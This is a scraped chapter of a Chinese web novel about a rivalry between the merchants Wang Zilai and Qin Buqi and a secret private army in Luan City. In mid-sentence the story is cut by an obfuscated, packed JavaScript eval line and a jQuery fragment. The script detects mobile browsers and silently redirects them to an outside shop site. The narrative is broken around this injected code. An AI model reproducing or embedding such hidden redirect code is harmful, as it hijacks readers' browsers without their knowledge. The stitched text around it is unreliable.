“吃也吃饱了,该谈正经事了吧。”
王紫来和华应飞就坐在对面,眼睁睁看着秦不弃胡吃海塞了半个时辰,看样子还是一副意犹未尽的样子,要不是王紫来打断了,她应该还能再吃上半个时辰。
“我和你没什么好谈的,华应飞,我们走吧。”
都说吃人的嘴短,但秦不弃就爱反行其道,饭她也吃了,肚子她也填饱了,翅膀硬挺了,她也就不会再,给王紫来什么好脸色看了。
只要没人来挑事,华应飞依然还是之前的样子,锋芒锐利都是被藏在内里的。
他起身屁颠颠跟上了秦不弃,回头看了一眼坐在原地没动的王紫来,心里对她有着几万分的好奇,以至于走路都没个准,险些被饭馆的门槛给绊倒,还是秦不弃眼疾手快扶了他一把。
几人离开后的酒楼依旧热闹非凡,围堵在大街上不肯离去的众人,终于等到了姗姗来迟的许知府。
跟在许知府身后的,是一身喜庆红袍,今日喜宴的主人公,新郎官,也是许知府的儿子许平昌。
“马通判,今日可有贵客前来?”
拥挤的人群为许知府让开一条路,几人畅通无阻上了三楼,许知府一眼就看到,主桌上空无一人,甚至连茶盏都没有被人动过的痕迹。
许知府摇头叹息,看来,那位大人物不愿意卖这面子给他。
马有听不懂许知府这话中所谓何意,只当他是想在这种场面耍耍官威,毕竟在场的,也仅有一个许知府算得上大人物,便也跟着借坡下驴,夸起许知府来。
“咱们这儿今天啊,是许少爷新婚做东摆酒,请来最大的贵客,不就是许知府您嘛,哪里还能有什么其他的贵客呢。”
马有的话刚说完,周围便响起一阵阵附和声,这话十分让人受用,换做平常,许知府也不会去扫他的兴,只是今日不同寻常,而他又无法言明。
许平昌忙着乐呵,这是他往前往后的人生中,最称得上幸福的时刻,宴上的宾客们,和他你来我往的应酬,也就没人注意到许知府阴沉的脸色。
想在偌大的銮城里找人,不是件容易的事,尤其最近这几天,不知道是从哪出了档子不知真假的传闻,说边疆又要起战事。
南来北往的,有人听风就是雨,带着一家老小连夜跑了,也有人胆大包天,想趁着乱世发一发财,加上又逢许知府的儿子大婚,分不出精力去管,整个銮城里,现在是乱的一塌糊涂。
但王紫来找到秦不弃的这条路,走的异常通顺,顺利到让王紫来自己都怀疑,毕竟她也没想到,两人会在同一个地方碰见,又住在同一个客栈里。
前脚才刚走进客栈大门,王紫来一眼就看到了坐在大厅吃饭的二人,秦不弃似乎也感应到有人注视着自己的目光,抬头看去,正好就和王紫来对上了视线。
这未免,也过于巧合了些。
“看来,王掌柜最近这是又赚了不少啊。”
秦不弃语气嘲讽,自秦百宝死后,秦家的一摊子生意,仅仅靠个初出茅庐的秦不弃管,她早都已经力不从心。
不知被多少人暗地里惦记上了,王紫来当然也没放过这个好机会。
“几个月不见,本事见长啊。”
从前王紫来就和秦百宝斗的水深火热,秦不弃对她也一直没什么好感,如今秦百宝一死,她现在自然也就成了,这群分食腐肉的秃鹫里,获利最多的胜者。
王紫来和秦百宝,两人都是这个小小地方的传奇人物,她们势均力敌,互相牵制,视彼此为最大的敌人,偏偏,秦百宝又能在事事上,都压王紫来一头。
这种两方互相掣肘的局势,随着其中一方败倒后,已经被彻底改变,败倒的一方,血肉被埋在地底,成了滋养另一颗参天大树的养分。
而这棵用秦百宝血肉滋养的参天大树,就是王紫来。
曾经无论如何翻不过的大山,突然在某天塌了,成了个让人连看都懒得去看一眼的土坡,杂草丛生,尽显颓败之色。
痛打落水狗,是这人世间最难得一见的痛快事,王紫来当然不会错过这么好的机会。
趁你病,要你命,是她作为一个奸商的基本礼貌。
人逢喜事精神爽,她早在三个月前,就已经体会过这种让人欲罢不能的感觉,如今的她,对此已经没了多大的热情,反倒是那点早已死去的良心突然活了过来。
她来銮城,一是为了抢走秦百宝和銮城和矿场的生意,二来是顺手查点有用的线索。
吃人的嘴软,拿人的手短,她都把人的家底给吃掉一大半了,多少也该做点什么,免得她再良心不安。
其实…她好像也从来都没有良心不安过,毕竟她真的没有良心。
“不必用这样的眼神看我,好歹我也受了你们秦家不少恩惠,伸手拉你一把,帮帮忙,都是人之常情。”
王紫来毫不在意,自顾自在二人对面坐下,熟稔的给自己倒了杯热茶,这么冷的天气,喝些热乎的,总归能舒服些。
她坐在对面,透过眼前氤氲飘散的热气去看秦不弃,她似乎能看到秦不弃隐藏在表面下的痛苦,她想起很久以前,有人告诉过她的话。
一个人只有在真正经历了失去的痛苦,或者已经没有依靠的时候,才会被这个世界逼着,在一瞬间长大。
那时候她说了什么来着,时间过去太久,其实王紫来自己也已经记不得了,但她只记得自己不相信,她从未亲身经历过重视或拥有的感觉。
自然也就不会懂的,为何失去会让人痛苦。
直到三月前秦百宝的噩耗传来,她似乎才终于明白那种感觉,一种后知后觉的恍然大悟,真是卑鄙又小气的女人,连死都不肯让她赢一次。
“我吃饱了,你自己慢慢吃吧。”
秦不弃抬头看了她一眼,撂下筷子,起身就要走,对于王紫来,她不需要报以任何友好的态度。
华应飞一时有些发愣,怎么饭吃的好好的说走就走,而且还不打一声招呼就走,这太失礼了,赶忙起身朝着王紫来拱手拜别,又去追秦不弃。
“走的这么急,饭也不吃了。”
“你不说我也知道你到底干什么,三个多月的时间,你总算是没再继续当缩头乌龟了,也算她没看错人”
“不过,我记得三个月前我好像去看她来着,当时啊,她可是给你留了不少话托我转达,既然你不想听,那就算了,反正我也不是很想说。”
在拿捏秦不弃这方面,李悠然真的该多和王紫来学一学,毕竟对方真的,一出手百发百中,从不失手。
秦不弃果然有所动作,急匆匆迈出去的两步,以更快的速度又退回了原来的位置,她从新坐回凳子上,拿起自己放在桌上的筷
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14239016|151437||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
子。
试图假装刚刚的一切从没发生过。
或者寄希望于王紫来突发恶疾,最好再失个忆什么的。
当然这都是不可能的,想想算了,别当真。
“不是已经吃饱了吗,怎么又回来了。”
王紫来脸上挂着意味深长的笑容,语气调侃。
“走了两步又饿了,她当时跟你说了什么,你快说吧。”
秦不弃咬牙切齿,生生克制住了抬脚走人的冲动,一双筷子被她死死捏在手里。
“那你怎么不继续吃。”
大概是王紫来的一点恶趣味吧,她最喜欢看这种,气急败坏却又无可奈何的样子,这会让她的心情变好。
秦不弃忍无可忍,她对王紫来,这个趁着秦家危难之际,落井下石的女人,根本就不想有任何的牵扯,她巴不得对方今天就死,最好是死在自己的面前。
可事实没如她所料,她不但奈何不了王紫来,还要被对方牵着鼻子走。
耻辱,莫大的耻辱!
于是她只能一忍再忍,手中的筷子也没松开,用手抓了把桌上的饭菜,看都没看就往嘴里塞。
“说吧。”
没关系,为了真相,她什么都可以忍耐。
王紫来对她这幅狼狈样子很是满意,甚至没忍住笑出了声。
失去了依靠的人,经历了痛苦的人,真的会在一瞬间长大,秦百宝啊秦百宝,你说的果然没错。
“可是,我现在不想说。”
王紫来晃悠着手中空荡荡的茶盏,语气轻佻戏谑,似乎,她刚刚说的话,只是为了耍秦不弃玩。
秦不弃愤而起身,终于不再继续忍耐。
“阿典,先冷静。”
华应飞及时开口制止了暴怒的秦不弃,他虽然不了解这两人之间,有怎样的恩怨过往,但他作为旁观者,要比身在其中的亲不弃冷静的多。
眼看这两人就要谈崩了,秦不弃性子又倔,自然就需要他出来控制局面。
“瞧我给疏忽了,王小姐,您来都来了,怎么能一直干坐着呢,我让小二给您拿双碗筷来,一起吃点。”
“来来,我先给您倒杯茶,喝点热茶暖暖身子。”
华应飞接过她手里空掉的茶盏,倒了杯半满的热茶,递给王紫来。
王紫来接过茶盏,视线这才舍得从秦不弃身上挪开,落在了华应飞的身上。
这人给她的感觉,有些说不上来的危险,表面看着不显山不漏水的,谁知道背地里到底憋了什么坏。
“看在这位公子的份上,我今天心情好,告诉你们也无妨。”
王紫来轻抿一口热茶,华应飞摁着秦不弃坐回原位,端起她手边的茶盏,准备给她也倒上一杯,喝点茶败火,这样或许秦不弃就没那么大火气了。
王紫来勾了勾手,秦不弃满脸抗拒的凑了耳朵过去。
“秦百宝发现了一个惊天大秘密,就在这座小小的銮城里。”
“有人在豢养私兵...”
一声重物落地的声响,打断了秦不弃和王紫来的对话,两人同时朝着声音来源看去,是华应飞不小心手滑,摔坏了茶壶。
滚烫的茶水混合着茶叶,溅了他一身深褐色水渍,而他却像是浑然不知,就那么直勾勾盯着王紫来。
“你刚才,说什么?!”